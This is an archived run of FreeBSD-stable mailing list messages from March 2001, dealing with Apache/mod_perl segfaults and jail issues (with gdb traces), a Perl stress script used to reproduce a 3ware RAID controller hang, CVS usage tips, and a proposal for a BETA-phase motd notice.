0x80a6b9f in main () #4 0x80549c3 in _start () (gdb) run Starting program: /www/testing/bin/httpd=20 (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x2822f53c in sysctl () from /usr/lib/libc.so.4 And there 'ya have it. I don't know where to begin proding, but I'll keep the binaries around incase someone else has any questions or wants more information. -sc > I did some looking into this because I had the same problem. >=20 > mod_perl + kernel (Tuesday build) =3D problem with sysctl >=20 > I'll rebuild apache with mod_perl and see if I can get more > problems, but I remember looking into it and finding that sysctl() was > where it wasy dying. Thoughts anyone? -sc --=20 Sean Chittenden sean@chittenden.org --VywGB/WGlW4DM4P8 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqycGkACgkQn09c7x7d+q0lTACdFzVrLNdrBywm/vmM7DmNR7fy FO4AnA5mcxIne26HW2CDs/w3nBJdrkMI =ucqD -----END PGP SIGNATURE----- --VywGB/WGlW4DM4P8-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 12:16:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 94C1337B71A for ; Fri, 16 Mar 2001 12:16:26 -0800 (PST) (envelope-from Gerhard.Sittig@gmx.net) Received: (qmail 24280 invoked by uid 0); 16 Mar 2001 20:16:25 -0000 Received: from pd950881e.dip.t-dialin.net (HELO speedy.gsinet) (217.80.136.30) by mail.gmx.net (mail08) with SMTP; 16 Mar 2001 20:16:25 -0000 Received: (from sittig@localhost) by speedy.gsinet (8.8.8/8.8.8) id SAA27918 for freebsd-stable@freebsd.org; Fri, 16 Mar 2001 18:58:51 +0100 Date: Fri, 16 Mar 2001 18:58:51 +0100 From: Gerhard Sittig To: freebsd-stable@freebsd.org Subject: Re: New KERNCONF option Message-ID: <20010316185851.C20830@speedy.gsinet> Mail-Followup-To: freebsd-stable@freebsd.org References: <3AB0C76D.D7FD7322@urx.com> <3AB187C0.88B6D724@babbleon.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <3AB187C0.88B6D724@babbleon.org>; from bts@babbleon.org on Thu, Mar 15, 2001 at 10:25:52PM -0500 Organization: System Defenestrators Inc. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Mar 15, 2001 at 22:25 -0500, The Babbler wrote: > > Hmmm . . . I'm doing my first every buildworld stuff, having > just grabbed the kernel with cvsup for the first time. It's > cool I stumbled across this thread . . . . > > Where do I get a current /usr/src/UPDATING? In all the other replies (those I've gotten so far, I have a dialup line here ...) I missed the possibility to look at the code / doc without fetching all the stuff: http://www.freebsd.org/cgi/cvsweb.cgi/ This in combination with the cvs-all messages (archived and searchable, but I guess you soon subscribe to this list anyway) should give you an even better idea of how much you will gain from updating -- before updating and thus overwriting your source. And I honestly encourage you - and everyone else :) - to cvsup the CVS repo (maybe after getting familiar with the update steps) and update your /usr/src and /usr/ports trees from it locally. It only costs you some 1.5GB of disk space (cheap these days) and enables you to research very comfortably, fetch *any* revision known to work (i.e. step back a few days in case things get worse before getting better:) and to keep local changes / enhancements while following the project's progress. Plus you can use it for as many local machines as you like while only fetching things once from the FreeBSD project's servers. The advantages far outweight the cost, if you don't have a cheap permanent connection or don't want to hog other people's resources. virtually yours 82D1 9B9C 01DC 4FB4 D7B4 61BE 3F49 4F77 72DE DA76 Gerhard Sittig true | mail -s "get gpg key" Gerhard.Sittig@gmx.net -- If you don't understand or are scared by any of the above ask your parents or an adult to help you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 12:23:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from home.cg.nu (home.cg.nu [213.196.2.115]) by hub.freebsd.org (Postfix) with ESMTP id 1178037B71C for ; Fri, 16 Mar 2001 12:23:49 -0800 (PST) (envelope-from henk@home.cg.nu) Received: from kpnlep (henk [213.93.106.195]) by home.cg.nu (Postfix) with ESMTP id A96DA158E47; Fri, 16 Mar 2001 21:23:42 +0100 (CET) Reply-To: From: "Henk Wevers" To: "'Miklos Niedermayer'" Cc: Subject: RE: Apache 1.3.19 does not work in a jail Date: Fri, 16 Mar 2001 21:23:42 +0100 Message-ID: <00a401c0ae56$ff605e20$08010a0a@kpnlep> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20010316205216.A1259@fmdb.c3.hu> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG gdb httpd httpd.core Reading symbols from /usr/local/libexec/apache/mod_unique_id.so... (no debugging symbols found)...done. Reading symbols from /usr/local/libexec/apache/mod_setenvif.so... (no debugging symbols found)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)... done. #0 0x8065cfb in ap_get_local_host () (gdb) br Breakpoint 1 at 0x8065cfb This is my gdb output Henk Wevers -----Original Message----- From: owner-freebsd-stable@FreeBSD.ORG [mailto:owner-freebsd-stable@FreeBSD.ORG] On Behalf Of Miklos Niedermayer Sent: vrijdag 16 maart 2001 20:52 To: Henk Wevers Cc: 'Miklos Niedermayer'; stable@freebsd.org Subject: Re: Apache 1.3.19 does not work in a jail Hi, On Fri, Mar 16, 2001 at 08:02:58PM +0100, Henk Wevers wrote: > Yes offcourse, I use the jail() function now a year, it did work fine. > It could be a apache 1.3.19 problem, with a kernel from Februari it > did work fine . Actually, i haven't been using Apache for some months now, but i have experienced some problems in the last weeks, too. For example, I had to specify an IP address for inetd to bind to with flag '-a'. But now it works again without that flag... Do you have ktrace(1) installed in your jail environment? You should do 'ktrace httpd' and then -hopefully- you'll be able to read some details about what Apache wants to do, by 'kdump -f ktrace.out'. Bye, Mico To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 12:38:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from home.cg.nu (home.cg.nu [213.196.2.115]) by hub.freebsd.org (Postfix) with ESMTP id B894737B718 for ; Fri, 16 Mar 2001 12:38:42 -0800 (PST) (envelope-from henk@home.cg.nu) Received: from kpnlep (henk [213.93.106.195]) by home.cg.nu (Postfix) with ESMTP id 8390F158E47; Fri, 16 Mar 2001 21:38:40 +0100 (CET) Reply-To: From: "Henk Wevers" To: "'Sean Chittenden'" , Cc: "'Miklos Niedermayer'" Subject: RE: Apache 1.3.19 in a jail working again! Date: Fri, 16 Mar 2001 21:38:40 +0100 Message-ID: <00b201c0ae59$16357b60$08010a0a@kpnlep> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20010316115833.C61074@rand.tgd.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Aha I did change a change to the /etc/hosts to update the host(ipnumber) to Testje.cg.nu (the FQDN), I did only had testje Real strange it was enough to to have a search cg.nu in /etc/resolv.conf the "old" 4.2-STABLE. Is this a feature? Or a bug?, anyway the man jail (8) needs to be updated. Henk Wevers -----Original Message----- From: owner-freebsd-stable@FreeBSD.ORG [mailto:owner-freebsd-stable@FreeBSD.ORG] On Behalf Of Sean Chittenden Sent: vrijdag 16 maart 2001 20:59 To: stable@freebsd.org Cc: Henk Wevers; 'Miklos Niedermayer' Subject: Re: Apache 1.3.19 does not work out of jail either -- UPDATED Alright, here's the scenario (I don't use jail and it still breaks): rand# perl Makefile.PL APACHE_PREFIX=/www/testing APACHE_SRC=../apache-1.3.19/src DO_HTTPD=1 USEA_APACI=1 EVERYTHING=1 Will configure via APACI [... many lines later...] Creating Makefile in src + configured for FreeBSD 4.3 platform + setting C pre-processor to cc -E + checking for system header files + adding selected modules o perl_module uses ConfigStart/End + mod_perl build type: OBJ + id: mod_perl/1.25 + id: Perl/5.00503 (freebsd) [perl] + setting up mod_perl build environment + adjusting Apache build environment + enabling Perl support for SSI (mod_include) [snip] rand# make install rand# /www/testing/bin/apachectl configtest Syntax OK Segmentation fault - core dumped rand# ll httpd.core -rw------- 1 root wheel 823296 Mar 16 11:40 httpd.core rand# gdb /www/testing/bin/httpd httpd.core [snip] This GDB was configured as "i386-unknown-freebsd"... (no debugging symbols found)... Core was generated by `httpd'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/libcrypt.so.2...(no debugging symbols found)... done. Reading symbols from /usr/lib/libperl.so.3...(no debugging symbols found)... done. Reading symbols from /usr/lib/libm.so.2...(no debugging symbols found)...done. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols found)...done. Reading symbols from /usr/lib/libc_r.so.4...(no debugging symbols found)... done. Reading symbols from /usr/lib/libutil.so.3...(no debugging symbols found)... done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)... done. #0 0x2822f53c in sysctl () from /usr/lib/libc.so.4 (gdb) bt #0 0x2822f53c in sysctl () from /usr/lib/libc.so.4 #1 0x28244fca in .cerror () from /usr/lib/libc.so.4 #2 0x28244eca in exit () from /usr/lib/libc.so.4 #3 0x80a6b9f in main () #4 0x80549c3 in _start () (gdb) run Starting program: /www/testing/bin/httpd (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x2822f53c in sysctl () from /usr/lib/libc.so.4 And there 'ya have it. I don't know where to begin proding, but I'll keep the binaries around incase someone else has any questions or wants more information. -sc > I did some looking into this because I had the same problem. > > mod_perl + kernel (Tuesday build) = problem with sysctl > > I'll rebuild apache with mod_perl and see if I can get more problems, > but I remember looking into it and finding that sysctl() was where it > wasy dying. Thoughts anyone? -sc -- Sean Chittenden sean@chittenden.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 12:41:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from serenity.mcc.ac.uk (serenity.mcc.ac.uk [130.88.200.93]) by hub.freebsd.org (Postfix) with ESMTP id F39F837B71C for ; Fri, 16 Mar 2001 12:41:16 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by serenity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14e12B-0004qc-00; Fri, 16 Mar 2001 20:41:15 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2GKfEa35002; Fri, 16 Mar 2001 20:41:14 GMT (envelope-from jcm) Date: Fri, 16 Mar 2001 20:41:14 +0000 From: j mckitrick To: Henk Wevers Cc: "'Miklos Niedermayer'" , stable@freebsd.org Subject: Re: Apache 1.3.19 does not work in a jail Message-ID: <20010316204114.A34966@dogma.freebsd-uk.eu.org> References: <20010316205216.A1259@fmdb.c3.hu> <00a401c0ae56$ff605e20$08010a0a@kpnlep> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <00a401c0ae56$ff605e20$08010a0a@kpnlep>; from henk@home.cg.nu on Fri, Mar 16, 2001 at 09:23:42PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG | #0 0x8065cfb in ap_get_local_host () | (gdb) br | Breakpoint 1 at 0x8065cfb | | This is my gdb output You need to type 'run' and then paste the output here, which will show where the pagefault occurred. jm -- --------------------------------------------------------------- Jonathon McKitrick -- jcm@freebsd-uk.eu.org "It took the computing power of three C-64s to fly to the Moon. It takes a 486 to run Windows 95. Something is wrong here." --------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 12:42:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp.wanadoo.nl (smtp.wanadoo.nl [194.134.193.6]) by hub.freebsd.org (Postfix) with ESMTP id B9FD737B718 for ; Fri, 16 Mar 2001 12:42:16 -0800 (PST) (envelope-from steveo@eircom.net) Received: from ams-gw.sohara.org (p207.vcu.wanadoo.nl [194.134.200.135]) by smtp.wanadoo.nl (8.11.2/8.11.2) with SMTP id f2GKgDq12991 for ; Fri, 16 Mar 2001 21:42:13 +0100 (MET) Date: Fri, 16 Mar 2001 21:42:10 +0100 From: "Steve O'Hara-Smith" To: freebsd-stable@freebsd.org Subject: BETA induced nervousness Message-Id: <20010316214210.5a3dc591.steveo@eircom.net> X-Mailer: Sylpheed version 0.4.60 (GTK+ 1.2.8; FreeBSD 4.3-BETA; i386) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Picking a recent example: Saverio Perugini writes: > What is a BETA system? Is it similiar to CURRENT? We get a lot of this sort of thing every time a release rolls, an idea crossed my mind, perhaps if during BETA and RC phases /etc/motd were to carry a big message like ---------------------- DO NOT PANIC - BETA is a normal phase that STABLE goes through prior to the rolling of a release. If anything it is *MORE* stable than usual during BETA as all changes are monitered by the release engineer. ---------------------- Changing BETA to RC as appropriate. It *might* reduce the effect, worth a try ? -- Life is complex - it has real and imaginary parts. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 12:53: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by hub.freebsd.org (Postfix) with ESMTP id 50F3137B718 for ; Fri, 16 Mar 2001 12:53:01 -0800 (PST) (envelope-from jcm@freebsd-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by probity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14e1DY-000N0K-00; Fri, 16 Mar 2001 20:53:00 +0000 Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f2GKr0n35088; Fri, 16 Mar 2001 20:53:00 GMT (envelope-from jcm) Date: Fri, 16 Mar 2001 20:53:00 +0000 From: j mckitrick To: "Steve O'Hara-Smith" Cc: freebsd-stable@freebsd.org Subject: Re: BETA induced nervousness Message-ID: <20010316205259.B34966@dogma.freebsd-uk.eu.org> References: <20010316214210.5a3dc591.steveo@eircom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20010316214210.5a3dc591.steveo@eircom.net>; from steveo@eircom.net on Fri, Mar 16, 2001 at 09:42:10PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG | ---------------------- | DO NOT PANIC - BETA is a normal phase that STABLE goes through | prior to the rolling of a release. If anything it is *MORE* stable than | usual during BETA as all changes are monitered by the release engineer. | | ---------------------- | Sounds good to me. It would cut the s/n ratio. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13: 0:39 2001 Delivered-To: freebsd-stable@freebsd.org Received: from agena.meridian-enviro.com (thunder.meridian-enviro.com [207.109.234.227]) by hub.freebsd.org (Postfix) with ESMTP id 1BDB737B718; Fri, 16 Mar 2001 13:00:33 -0800 (PST) (envelope-from rand@meridian-enviro.com) Received: from meridian-enviro.com (kfarms.meridian-enviro.com [10.10.10.20]) by agena.meridian-enviro.com (8.11.1/8.9.3) with ESMTP id f2GL0LQ70519; Fri, 16 Mar 2001 15:00:22 -0600 (CST) (envelope-from rand@meridian-enviro.com) Message-ID: <3AB27EE5.7CCB1387@meridian-enviro.com> Date: Fri, 16 Mar 2001 15:00:21 -0600 From: "Douglas K. Rand" Organization: Meridian Environmental Technoloties X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@FreeBSD.ORG Cc: Mike Tancsa , Mike Smith , bryanh@meridian-enviro.com Subject: Re: 3ware problems References: <4.2.2.20010314203128.030e6c20@marble.sentex.net> <200103150029.f2F0TTF04572@mass.dis.org> <87g0gfopf4.wl@delta.meridian-enviro.com> <87elvzoona.wl@delta.meridian-enviro.com> <87bsr2ones.wl@delta.meridian-enviro.com> <5.0.2.1.0.20010315142949.03387c00@marble.sentex.ca> <8766hanv1y.wl@delta.meridian-enviro.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > So far the only way I can get the problem to show up is banging on > MySQL for 3-12 hours. Here is a short perl script that along with MySQL 3.23.33 will hang our 3ware controller: #!/usr/bin/perl use strict; use Date::Format; print "drop table if exists twe;\n"; print "create table twe (\n"; print " id char(4) NOT NULL default '',\n"; print " time0 datetime NOT NULL default '0000-00-00 00:00:00',\n"; print " time1 datetime NOT NULL default '0000-00-00 00:00:00',\n"; print " time2 datetime NOT NULL default '0000-00-00 00:00:00',\n"; print " type enum('NORMAL', 'SPECIAL') NOT NULL default 'NORMAL',\n"; print " ob blob,\n"; print " PRIMARY KEY (id, time1),\n"; print " KEY (time0)\n"; print ") TYPE=MyISAM;\n"; my $low = 946684800; my $high = 1009843200; my $diff = $high - $low; my $step = 1000; my $count = 0; while(1) { my $ob = `fortune -l`; $ob =~ s/[\s\n]/ /g; $ob =~ s/[^A-Za-z0-9\s]//g; print "INSERT INTO twe VALUES\n"; for(my $i = 0; $i < $step; $i++) { my $id = sprintf("%c%c%c%c", rand(26) + 0x41, rand(26) + 0x41, rand(26) + 0x41, rand(26) + 0x41); my $time0 = time2str("%Y-%m-%d %H:%M:%S",int(rand($diff) + $low), "UTC0"); my $time1 = time2str("%Y-%m-%d %H:%M:%S",int(rand($diff) + $low), "UTC0"); my $time2 = time2str("%Y-%m-%d %H:%M:%S",int(rand($diff) + $low), "UTC0"); my $type = rand() < 0.75 ? "NORMAL" : "SPECIAL"; print " ('$id', '$time0', '$time1', '$time2', '$type', '$ob')"; print ",\n" if $i != $step - 1; } print ";\n"; $count += $step; print STDERR "Inserted $count rows\n"; } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13: 9:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id 503A737B71C for ; Fri, 16 Mar 2001 13:09:39 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14e1Td-0001zD-05 for freebsd-stable@FreeBSD.ORG; Sat, 17 Mar 2001 10:09:37 +1300 From: "Juha Saarinen" To: "freebsd-stable@FreeBSD. ORG" Subject: FreeBSD 4.x and BSDi 4.x binary compatible? Date: Sat, 17 Mar 2001 10:12:44 +1300 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As the subject says... are there any known binary incompatibilities twixt the two? Have an application that's currently running on BSDi 4.1 that I'd like to compile and try out on FreeBSD 4.2-STABLE. Hints and tips here would be appreciated. -- Regards, Juha PGP fingerprint: B7E1 CC52 5FCA 9756 B502 10C8 4CD8 B066 12F3 9544 "My pid is Inigo Montoya. You kill -9 my parent process. Prepare to vi." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:15: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from snarf.osdn.com (snarf.osdn.com [209.192.217.153]) by hub.freebsd.org (Postfix) with ESMTP id 2685737B718 for ; Fri, 16 Mar 2001 13:15:05 -0800 (PST) (envelope-from mij@osdn.com) Received: from guinness.osdn.com (root@localhost [127.0.0.1]) by snarf.osdn.com (8.11.3/8.11.3) with ESMTP id f2GLBZ798459; Fri, 16 Mar 2001 16:11:55 -0500 (EST) (envelope-from mij@osdn.com) Received: by guinness.osdn.com (Postfix, from userid 1000) id 1CADDF6; Fri, 16 Mar 2001 16:09:50 -0500 (EST) Date: Fri, 16 Mar 2001 16:09:49 -0500 From: Jim Mock To: "Steve O'Hara-Smith" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: BETA induced nervousness Message-ID: <20010316160949.A3791@guinness.osdn.com> Reply-To: mij@osdn.com References: <20010316214210.5a3dc591.steveo@eircom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.16i In-Reply-To: <20010316214210.5a3dc591.steveo@eircom.net>; from steveo@eircom.net on Fri, Mar 16, 2001 at 09:42:10PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Mar 2001 at 21:42:10 +0100, Steve O'Hara-Smith wrote: > Hi, > > Picking a recent example: > > Saverio Perugini writes: > > What is a BETA system? Is it similiar to CURRENT? > > We get a lot of this sort of thing every time a release rolls, > an idea crossed my mind, perhaps if during BETA and RC phases > /etc/motd were to carry a big message like > > ---------------------- > DO NOT PANIC - BETA is a normal phase that STABLE goes through prior > to the rolling of a release. If anything it is *MORE* stable than > usual during BETA as all changes are monitered by the release > engineer. > ---------------------- > > Changing BETA to RC as appropriate. It *might* reduce the > effect, worth a try ? This would be wonderful. It should cut down dramatically on the 3.7 million "MY FBSD IZ BORKEN CUZ IT SAYZ -BETA N I WANT -STABLE FIX IT NOW K PLZ THX" (I think I hung out with Alfred too much :-) emails to this list and -questions. Perhaps even pointing something towards the FAQ entry on this would help. The only problem is see doing this is that: 1) Not everyone will run mergemaster afterwards. It doesn't matter whether they should or not, many just won't. 2) Not everyone who does run mergemaster will update their /etc/motd (like me). So, the question is.. how can we get something like this to the most people without printing that section of the FAQ and stapling it to their foreheads? - jim -- - jim mock - O|S|D|N - open source development network - - http://www.freebsdzine.org/ - jim@freebsdzine.org - jim@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:20:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from raven.addict.de (unter.geistern.und.vampiren.de [212.116.4.50]) by hub.freebsd.org (Postfix) with ESMTP id 51A8237B718 for ; Fri, 16 Mar 2001 13:20:45 -0800 (PST) (envelope-from dwalin@raven.addict.de) Received: (from dwalin@localhost) by raven.addict.de (8.11.1/8.9.3) id f2GLI0683966 for freebsd-stable@FreeBSD.ORG; Fri, 16 Mar 2001 22:18:00 +0100 (CET) (envelope-from dwalin) Date: Fri, 16 Mar 2001 22:18:00 +0100 From: Juergen Unger To: freebsd-stable@FreeBSD.ORG Subject: Re: ES1371 problem with up-to-date -BETA Message-ID: <20010316221800.A83777@raven.addict.de> References: <15026.13367.150808.507865@localhost.grauel.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <15026.13367.150808.507865@localhost.grauel.com>; from rjk@grauel.com on Fri, Mar 16, 2001 at 10:41:43AM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ! Richard J Kuhns wrote: [...] > When using cat to send a .au file to /dev/audio it sounds like it's playing > about twice as fast as it should. [...] same problem here since we bought such a soundcard. Problem did not changed from 4.2-RELEASE to 4.2-STABLE from november and december and it seems that its still in 4.3-BETA... -Juergen- -- .sig: No such file or directory To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:42:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 7CD0937B718 for ; Fri, 16 Mar 2001 13:42:19 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2GLgGA24586; Fri, 16 Mar 2001 13:42:16 -0800 (PST) Date: Fri, 16 Mar 2001 13:42:15 -0800 From: Alfred Perlstein To: Juha Saarinen Cc: "freebsd-stable@FreeBSD. ORG" Subject: Re: FreeBSD 4.x and BSDi 4.x binary compatible? Message-ID: <20010316134215.J29888@fw.wintelcom.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from juha@saarinen.org on Sat, Mar 17, 2001 at 10:12:44AM +1300 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Juha Saarinen [010316 13:10] wrote: > As the subject says... are there any known binary incompatibilities twixt > the two? Have an application that's currently running on BSDi 4.1 that I'd > like to compile and try out on FreeBSD 4.2-STABLE. > > Hints and tips here would be appreciated. Actually, on the same note, I'm planning on flying a 747 jet later this evening, anyone know what I should watch out for? Any tips for a smooth ride? -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:47:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id AA87437B71C for ; Fri, 16 Mar 2001 13:47:39 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14e24L-00021F-04; Sat, 17 Mar 2001 10:47:33 +1300 From: "Juha Saarinen" To: "Alfred Perlstein" Cc: "freebsd-stable@FreeBSD. ORG" Subject: RE: FreeBSD 4.x and BSDi 4.x binary compatible? Date: Sat, 17 Mar 2001 10:50:40 +1300 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20010316134215.J29888@fw.wintelcom.net> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: Actually, on the same note, I'm planning on flying a 747 jet later :: this evening, anyone know what I should watch out for? Any tips :: for a smooth ride? Yeah, don't pack the AK-47 and Semtex in the hand luggage. ;-) Thanks Alfie, I'll make sure to ask you next time I need some more useful info. -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:49:28 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 8D55337B71A for ; Fri, 16 Mar 2001 13:49:23 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2GLnKs24816; Fri, 16 Mar 2001 13:49:20 -0800 (PST) Date: Fri, 16 Mar 2001 13:49:20 -0800 From: Alfred Perlstein To: Juha Saarinen Cc: "freebsd-stable@FreeBSD. ORG" Subject: Re: FreeBSD 4.x and BSDi 4.x binary compatible? Message-ID: <20010316134920.L29888@fw.wintelcom.net> References: <20010316134215.J29888@fw.wintelcom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from juha@saarinen.org on Sat, Mar 17, 2001 at 10:50:40AM +1300 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Juha Saarinen [010316 13:48] wrote: > :: Actually, on the same note, I'm planning on flying a 747 jet later > :: this evening, anyone know what I should watch out for? Any tips > :: for a smooth ride? > > Yeah, don't pack the AK-47 and Semtex in the hand luggage. ;-) > > Thanks Alfie, I'll make sure to ask you next time I need some more useful > info. no problem. :) Seriously, first you try to compile it, then you ask why it didn't work and give us some diagnostics. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Mar 16 13:49:28 2001 